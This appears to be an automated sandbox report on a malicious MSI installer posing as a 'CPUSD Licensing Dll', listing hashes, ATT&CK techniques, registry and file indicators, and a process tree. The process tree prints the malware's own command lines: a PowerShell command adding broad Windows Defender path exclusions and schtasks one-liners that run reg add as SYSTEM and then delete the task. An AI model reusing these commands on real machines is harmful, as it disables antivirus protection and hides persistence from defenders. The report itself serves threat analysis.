fe4aa8172beb88aced1bd5d474e6e0e5904e531242fb6041ad22839d335ce3cd

Analysis

max time kernel
150s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/08/2026, 08:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install_c0rd014.msi
Size 7.7MB
Sample260801-kfz31axtcs
SHA256 fe4aa8172beb88aced1bd5d474e6e0e5904e531242fb6041ad22839d335ce3cd
MD5 31d985cdf4b19db660e06c5273bc4ecc
SHA1 48a78c87f2d690d2afb7c635157058c841b32368
SHA512 5d2df9ce25a65beaff4d6a2e2dfb1011e6e2b544deabfa9a20c17c2515e33f0fa7529de00532a6a420601d7e5d8c4b5ba89e1e6cbca1ba4d9c737c2690b79ac2
SSDEEP 98304:IuQ3X5Yt1g1MMtbzFqprAm2A8Gy49G9ZQrd/eJEl8cCVd4XKEp7vbrnbMuWi7Q7S:Ip3D1R6rF5y49kQR/HlCVdIjbbv6tq1
TLSH
T1638633C17C822B71E55BC7B4A11231AE7D243FDBBABB4F1A77D4364029B1322A276744
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution persistence privilege_escalation ransomware trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 10 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\tG4ba5 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4412	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4532	ObY66b.exe

Loads dropped DLL 2 IoCs

pid	Process
5432	MsiExec.exe
4532	ObY66b.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\tG4ba5\\ObY66b.exe\""	ObY66b.exe

Badlisted process makes network request 8 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5432	MsiExec.exe
3	5432	MsiExec.exe
4	5432	MsiExec.exe
9	5432	MsiExec.exe
10	5432	MsiExec.exe
11	5432	MsiExec.exe
12	5432	MsiExec.exe
13	5432	MsiExec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
2616	cmd.exe
5428	cmd.exe
1480	cmd.exe
5368	cmd.exe
1876	cmd.exe

Drops file in System32 directory 12 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F342AD810E2573BA008691E7C64C1A7F	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F342AD810E2573BA008691E7C64C1A7F	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6	MsiExec.exe
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	ObY66b.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6	MsiExec.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\m4TRdX	ObY66b.exe
File created	C:\Program Files (x86)\m4TRdX\IsWPDT.exe	ObY66b.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSI8AD1.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8B7E.tmp	msiexec.exe
File created	C:\Windows\Installer\e59864f.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF5F75EF5D91BE43DC.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFB05616FB9F512AC5.TMP	msiexec.exe
File created	C:\Windows\Installer\e59864d.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF5DB7A82B3A66BC60.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\e59864d.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF0A2623C2FFD17886.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{D9042978-6444-D40B-2C07-4A301453BD6D}	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
2860	msiexec.exe

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2612	cmd.exe
1388	cmd.exe
2796	cmd.exe
2672	cmd.exe
6132	cmd.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 00000000040000000f2192634d2a4d980000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c01200000000000000000000000027010100008838010f2192630000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e841010f219263000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e30f21926300000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e60f21926300000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	MsiExec.exe

Modifies registry class 22 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\Media	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\Clients = 3a0000000000	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\8792409D4446B04DC270A4034135DBD6\UuueatYAD	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\F625F0CC0CD8ACFACB995F759A608D16	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\PackageName = "install_c0rd014.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\ProductName = "CPUSD Licensing Dll"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\PackageCode = "6895C72F29C422E4FAE9713853ED1C4D"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\Version = "84017285"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\F625F0CC0CD8ACFACB995F759A608D16\8792409D4446B04DC270A4034135DBD6	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\8792409D4446B04DC270A4034135DBD6	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2256	schtasks.exe
4080	schtasks.exe
3668	schtasks.exe
2220	schtasks.exe
3916	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5980	msiexec.exe
5980	msiexec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
5432	MsiExec.exe
4532	ObY66b.exe
4532	ObY66b.exe
4532	ObY66b.exe
4532	ObY66b.exe
4532	ObY66b.exe
4532	ObY66b.exe
4532	ObY66b.exe
4532	ObY66b.exe
4532	ObY66b.exe
4532	ObY66b.exe
4532	ObY66b.exe
4532	ObY66b.exe
4532	ObY66b.exe
4532	ObY66b.exe
4532	ObY66b.exe
4532	ObY66b.exe
4532	ObY66b.exe
4532	ObY66b.exe
4532	ObY66b.exe
4532	ObY66b.exe
4532	ObY66b.exe
4532	ObY66b.exe
4532	ObY66b.exe
4532	ObY66b.exe
4532	ObY66b.exe
4532	ObY66b.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2860	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2860	msiexec.exe
Token: SeSecurityPrivilege	5980	msiexec.exe
Token: SeCreateTokenPrivilege	2860	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2860	msiexec.exe
Token: SeLockMemoryPrivilege	2860	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2860	msiexec.exe
Token: SeMachineAccountPrivilege	2860	msiexec.exe
Token: SeTcbPrivilege	2860	msiexec.exe
Token: SeSecurityPrivilege	2860	msiexec.exe
Token: SeTakeOwnershipPrivilege	2860	msiexec.exe
Token: SeLoadDriverPrivilege	2860	msiexec.exe
Token: SeSystemProfilePrivilege	2860	msiexec.exe
Token: SeSystemtimePrivilege	2860	msiexec.exe
Token: SeProfSingleProcessPrivilege	2860	msiexec.exe
Token: SeIncBasePriorityPrivilege	2860	msiexec.exe
Token: SeCreatePagefilePrivilege	2860	msiexec.exe
Token: SeCreatePermanentPrivilege	2860	msiexec.exe
Token: SeBackupPrivilege	2860	msiexec.exe
Token: SeRestorePrivilege	2860	msiexec.exe
Token: SeShutdownPrivilege	2860	msiexec.exe
Token: SeDebugPrivilege	2860	msiexec.exe
Token: SeAuditPrivilege	2860	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2860	msiexec.exe
Token: SeChangeNotifyPrivilege	2860	msiexec.exe
Token: SeRemoteShutdownPrivilege	2860	msiexec.exe
Token: SeUndockPrivilege	2860	msiexec.exe
Token: SeSyncAgentPrivilege	2860	msiexec.exe
Token: SeEnableDelegationPrivilege	2860	msiexec.exe
Token: SeManageVolumePrivilege	2860	msiexec.exe
Token: SeImpersonatePrivilege	2860	msiexec.exe
Token: SeCreateGlobalPrivilege	2860	msiexec.exe
Token: SeBackupPrivilege	1360	vssvc.exe
Token: SeRestorePrivilege	1360	vssvc.exe
Token: SeAuditPrivilege	1360	vssvc.exe
Token: SeBackupPrivilege	5980	msiexec.exe
Token: SeRestorePrivilege	5980	msiexec.exe
Token: SeRestorePrivilege	5980	msiexec.exe
Token: SeTakeOwnershipPrivilege	5980	msiexec.exe
Token: SeRestorePrivilege	5980	msiexec.exe
Token: SeTakeOwnershipPrivilege	5980	msiexec.exe
Token: SeRestorePrivilege	5980	msiexec.exe
Token: SeTakeOwnershipPrivilege	5980	msiexec.exe
Token: SeBackupPrivilege	1488	srtasks.exe
Token: SeRestorePrivilege	1488	srtasks.exe
Token: SeSecurityPrivilege	1488	srtasks.exe
Token: SeTakeOwnershipPrivilege	1488	srtasks.exe
Token: SeBackupPrivilege	1488	srtasks.exe
Token: SeRestorePrivilege	1488	srtasks.exe
Token: SeSecurityPrivilege	1488	srtasks.exe
Token: SeTakeOwnershipPrivilege	1488	srtasks.exe
Token: SeRestorePrivilege	5980	msiexec.exe
Token: SeTakeOwnershipPrivilege	5980	msiexec.exe
Token: SeRestorePrivilege	5980	msiexec.exe
Token: SeTakeOwnershipPrivilege	5980	msiexec.exe
Token: SeRestorePrivilege	5980	msiexec.exe
Token: SeTakeOwnershipPrivilege	5980	msiexec.exe
Token: SeRestorePrivilege	5980	msiexec.exe
Token: SeTakeOwnershipPrivilege	5980	msiexec.exe
Token: SeRestorePrivilege	5980	msiexec.exe
Token: SeTakeOwnershipPrivilege	5980	msiexec.exe
Token: SeRestorePrivilege	5980	msiexec.exe
Token: SeTakeOwnershipPrivilege	5980	msiexec.exe
Token: SeRestorePrivilege	5980	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2860	msiexec.exe
2860	msiexec.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2860	msiexec.exe
5980	msiexec.exe
5432	MsiExec.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 5980 wrote to memory of 1488	5980	msiexec.exe	94
PID 5980 wrote to memory of 5432	5980	msiexec.exe	96
PID 4532 wrote to memory of 4412	4532	ObY66b.exe	100
PID 4532 wrote to memory of 1480	4532	ObY66b.exe	102
PID 1480 wrote to memory of 3916	1480	cmd.exe	104
PID 1480 wrote to memory of 4692	1480	cmd.exe	106
PID 1480 wrote to memory of 2320	1480	cmd.exe	108
PID 4532 wrote to memory of 5368	4532	ObY66b.exe	109
PID 5368 wrote to memory of 2256	5368	cmd.exe	111
PID 5368 wrote to memory of 3528	5368	cmd.exe	114
PID 5368 wrote to memory of 2068	5368	cmd.exe	117
PID 4532 wrote to memory of 1876	4532	ObY66b.exe	119
PID 1876 wrote to memory of 4080	1876	cmd.exe	121
PID 1876 wrote to memory of 3256	1876	cmd.exe	122
PID 1876 wrote to memory of 1988	1876	cmd.exe	124
PID 2612 wrote to memory of 3152	2612	cmd.exe	125
PID 1388 wrote to memory of 4852	1388	cmd.exe	127
PID 4532 wrote to memory of 2616	4532	ObY66b.exe	128
PID 2616 wrote to memory of 3668	2616	cmd.exe	130
PID 2616 wrote to memory of 5068	2616	cmd.exe	131
PID 2616 wrote to memory of 4804	2616	cmd.exe	133
PID 4532 wrote to memory of 5428	4532	ObY66b.exe	135
PID 5428 wrote to memory of 2220	5428	cmd.exe	137
PID 5428 wrote to memory of 3324	5428	cmd.exe	138
PID 5428 wrote to memory of 2136	5428	cmd.exe	140
PID 2796 wrote to memory of 2636	2796	cmd.exe	143
PID 2672 wrote to memory of 5744	2672	cmd.exe	144
PID 6132 wrote to memory of 3392	6132	cmd.exe	145

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_c0rd014.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:2860

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5980
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1488
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding 106F7CBEBC66EFCF6667D6C6D31E2CBB E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Badlisted process makes network request
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:5432

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:1360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5584

C:\Users\Public\tG4ba5\ObY66b.exe
"C:\Users\Public\tG4ba5\ObY66b.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\tG4ba5\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1480
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\tG4ba5\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3916
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4692
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5368
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2256
